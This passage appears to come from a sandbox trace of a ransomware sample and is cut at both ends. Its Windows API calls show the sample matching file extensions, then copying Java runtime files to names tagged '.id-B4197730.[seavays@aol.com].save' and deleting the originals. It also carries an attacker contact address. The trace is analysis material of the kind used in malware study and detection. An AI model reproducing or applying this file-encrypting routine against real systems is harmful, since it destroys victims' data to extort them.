(lpString=".dbf") returned 4 [0163.353] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.353] lstrlenW (lpString=".1cd") returned 4 [0163.353] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.353] lstrlenW (lpString=".jpg") returned 4 [0163.353] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.353] lstrlenW (lpString=".doc") returned 4 [0163.353] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.353] lstrlenW (lpString=".docx") returned 5 [0163.353] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0163.353] lstrlenW (lpString=".pdf") returned 4 [0163.353] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.353] lstrlenW (lpString=".xls") returned 4 [0163.353] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.353] lstrlenW (lpString=".xlsx") returned 5 [0163.353] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0163.353] lstrlenW (lpString=".ppt") returned 4 [0163.353] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.353] lstrlenW (lpString=".zip") returned 4 [0163.354] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.354] lstrlenW (lpString=".rar") returned 4 [0163.354] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.354] lstrlenW (lpString=".bz2") returned 4 [0163.354] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.354] lstrlenW (lpString=".7z") returned 3 [0163.354] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.354] lstrlenW (lpString=".dbf") returned 4 [0163.354] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.354] lstrlenW (lpString=".1cd") returned 4 [0163.354] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.354] lstrlenW (lpString=".jpg") returned 4 [0163.354] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.354] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".save") returned -1 [0163.354] lstrlenW (lpString="meta-index") returned 10 [0163.354] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0163.355] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=1461) returned 1 [0163.355] CloseHandle (hObject=0x430) returned 1 [0163.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0163.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.356] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0163.357] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0163.357] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0163.357] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0163.358] GetLastError () returned 0x0 [0163.358] ReadFile (in: hFile=0x430, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x5b5, lpOverlapped=0x0) returned 1 [0163.591] WriteFile (in: hFile=0x3cc, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5c0, lpOverlapped=0x0) returned 1 [0163.592] ReadFile (in: hFile=0x430, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0163.592] WriteFile (in: hFile=0x3cc, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xe8, lpOverlapped=0x0) returned 1 [0163.592] SetEndOfFile (hFile=0x3cc) returned 1 [0163.593] CloseHandle (hObject=0x3cc) returned 1 [0163.593] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0163.593] SetEndOfFile (hFile=0x430) returned 1 [0163.596] CloseHandle (hObject=0x430) returned 1 [0163.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.597] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0163.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.598] lstrlenW (lpString=".doc") returned 4 [0163.598] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0163.598] lstrlenW (lpString=".docx") returned 5 [0163.598] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0163.598] lstrlenW (lpString=".pdf") returned 4 [0163.598] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0163.598] lstrlenW (lpString=".xls") returned 4 [0163.598] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0163.598] lstrlenW (lpString=".xlsx") returned 5 [0163.598] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0163.598] lstrlenW (lpString=".ppt") returned 4 [0163.598] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0163.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.598] lstrlenW (lpString=".zip") returned 4 [0163.598] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0163.598] lstrlenW (lpString=".rar") returned 4 [0163.598] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0163.598] lstrlenW (lpString=".bz2") returned 4 [0163.598] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0163.598] lstrlenW (lpString=".7z") returned 3 [0163.598] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0163.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.598] lstrlenW (lpString=".dbf") returned 4 [0163.599] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0163.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.599] lstrlenW (lpString=".1cd") returned 4 [0163.599] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0163.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.599] lstrlenW (lpString=".jpg") returned 4 [0163.599] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0163.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.599] lstrlenW (lpString=".doc") returned 4 [0163.599] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0163.599] lstrlenW (lpString=".docx") returned 5 [0163.599] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0163.599] lstrlenW (lpString=".pdf") returned 4 [0163.599] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0163.599] lstrlenW (lpString=".xls") returned 4 [0163.599] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0163.599] lstrlenW (lpString=".xlsx") returned 5 [0163.599] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0163.599] lstrlenW (lpString=".ppt") returned 4 [0163.599] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0163.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.599] lstrlenW (lpString=".zip") returned 4 [0163.599] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0163.599] lstrlenW (lpString=".rar") returned 4 [0163.599] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0163.600] lstrlenW (lpString=".bz2") returned 4 [0163.600] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0163.600] lstrlenW (lpString=".7z") returned 3 [0163.600] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0163.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.600] lstrlenW (lpString=".dbf") returned 4 [0163.600] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0163.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.600] lstrlenW (lpString=".1cd") returned 4 [0163.600] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0163.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0163.600] lstrlenW (lpString=".jpg") returned 4 [0163.600] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0163.600] lstrcmpiW (lpString1=".bfc", lpString2=".save") returned -1 [0163.600] lstrlenW (lpString="fontconfig.bfc") returned 14 [0163.600] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0163.601] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3770) returned 1 [0163.601] CloseHandle (hObject=0x430) returned 1 [0163.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0163.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.602] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0163.602] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0163.602] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0163.602] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0163.603] GetLastError () returned 0x0 [0163.603] ReadFile (in: hFile=0x430, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xeba, lpOverlapped=0x0) returned 1 [0163.605] WriteFile (in: hFile=0x3cc, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec0, lpOverlapped=0x0) returned 1 [0163.607] ReadFile (in: hFile=0x430, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0163.607] WriteFile (in: hFile=0x3cc, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xf0, lpOverlapped=0x0) returned 1 [0163.608] SetEndOfFile (hFile=0x3cc) returned 1 [0163.608] CloseHandle (hObject=0x3cc) returned 1 [0163.608] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0163.608] SetEndOfFile (hFile=0x430) returned 1 [0163.612] CloseHandle (hObject=0x430) returned 1 [0163.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.613] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0163.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.614] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.614] lstrlenW (lpString=".doc") returned 4 [0163.614] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0163.614] lstrlenW (lpString=".docx") returned 5 [0163.614] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0163.614] lstrlenW (lpString=".pdf") returned 4 [0163.614] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0163.614] lstrlenW (lpString=".xls") returned 4 [0163.615] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0163.615] lstrlenW (lpString=".xlsx") returned 5 [0163.615] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0163.615] lstrlenW (lpString=".ppt") returned 4 [0163.615] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0163.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.615] lstrlenW (lpString=".zip") returned 4 [0163.615] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0163.615] lstrlenW (lpString=".rar") returned 4 [0163.615] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0163.615] lstrlenW (lpString=".bz2") returned 4 [0163.615] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0163.615] lstrlenW (lpString=".7z") returned 3 [0163.615] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0163.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.615] lstrlenW (lpString=".dbf") returned 4 [0163.615] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0163.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.615] lstrlenW (lpString=".1cd") returned 4 [0163.615] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0163.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.615] lstrlenW (lpString=".jpg") returned 4 [0163.615] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0163.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.615] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.616] lstrlenW (lpString=".doc") returned 4 [0163.616] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0163.616] lstrlenW (lpString=".docx") returned 5 [0163.616] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0163.616] lstrlenW (lpString=".pdf") returned 4 [0163.616] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0163.616] lstrlenW (lpString=".xls") returned 4 [0163.616] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0163.616] lstrlenW (lpString=".xlsx") returned 5 [0163.616] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0163.616] lstrlenW (lpString=".ppt") returned 4 [0163.616] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0163.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.616] lstrlenW (lpString=".zip") returned 4 [0163.616] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0163.616] lstrlenW (lpString=".rar") returned 4 [0163.616] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0163.616] lstrlenW (lpString=".bz2") returned 4 [0163.616] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0163.616] lstrlenW (lpString=".7z") returned 3 [0163.616] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0163.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.616] lstrlenW (lpString=".dbf") returned 4 [0163.616] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0163.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.616] lstrlenW (lpString=".1cd") returned 4 [0163.616] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0163.616] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0163.617] lstrlenW (lpString=".jpg") returned 4 [0163.617] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0163.617] lstrcmpiW (lpString1=".src", lpString2=".save") returned 1 [0163.617] lstrlenW (lpString="fontconfig.properties.src") returned 25 [0163.617] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0163.618] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10568) returned 1 [0163.618] CloseHandle (hObject=0x430) returned 1 [0163.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0163.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.618] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0163.619] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0163.619] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0163.619] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0163.620] GetLastError () returned 0x0 [0163.620] ReadFile (in: hFile=0x430, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2948, lpOverlapped=0x0) returned 1 [0163.622] WriteFile (in: hFile=0x3cc, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2950, lpOverlapped=0x0) returned 1 [0163.623] ReadFile (in: hFile=0x430, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0163.624] WriteFile (in: hFile=0x3cc, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x106, lpOverlapped=0x0) returned 1 [0163.624] SetEndOfFile (hFile=0x3cc) returned 1 [0163.624] CloseHandle (hObject=0x3cc) returned 1 [0163.624] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0163.624] SetEndOfFile (hFile=0x430) returned 1 [0163.872] CloseHandle (hObject=0x430) returned 1 [0163.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.872] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0163.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.873] lstrlenW (lpString=".doc") returned 4 [0163.873] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0163.873] lstrlenW (lpString=".docx") returned 5 [0163.873] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0163.873] lstrlenW (lpString=".pdf") returned 4 [0163.873] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0163.873] lstrlenW (lpString=".xls") returned 4 [0163.873] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0163.874] lstrlenW (lpString=".xlsx") returned 5 [0163.874] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0163.874] lstrlenW (lpString=".ppt") returned 4 [0163.874] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0163.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.874] lstrlenW (lpString=".zip") returned 4 [0163.874] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0163.874] lstrlenW (lpString=".rar") returned 4 [0163.874] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0163.874] lstrlenW (lpString=".bz2") returned 4 [0163.874] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0163.874] lstrlenW (lpString=".7z") returned 3 [0163.874] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0163.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.874] lstrlenW (lpString=".dbf") returned 4 [0163.874] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0163.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.874] lstrlenW (lpString=".1cd") returned 4 [0163.874] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0163.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.874] lstrlenW (lpString=".jpg") returned 4 [0163.874] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0163.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.874] lstrlenW (lpString=".doc") returned 4 [0163.875] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0163.875] lstrlenW (lpString=".docx") returned 5 [0163.875] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0163.875] lstrlenW (lpString=".pdf") returned 4 [0163.875] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0163.875] lstrlenW (lpString=".xls") returned 4 [0163.875] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0163.875] lstrlenW (lpString=".xlsx") returned 5 [0163.875] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0163.875] lstrlenW (lpString=".ppt") returned 4 [0163.875] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0163.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0163.875] lstrlenW (lpString=".zip") returned 4 [0163.875] lstrcmpiW 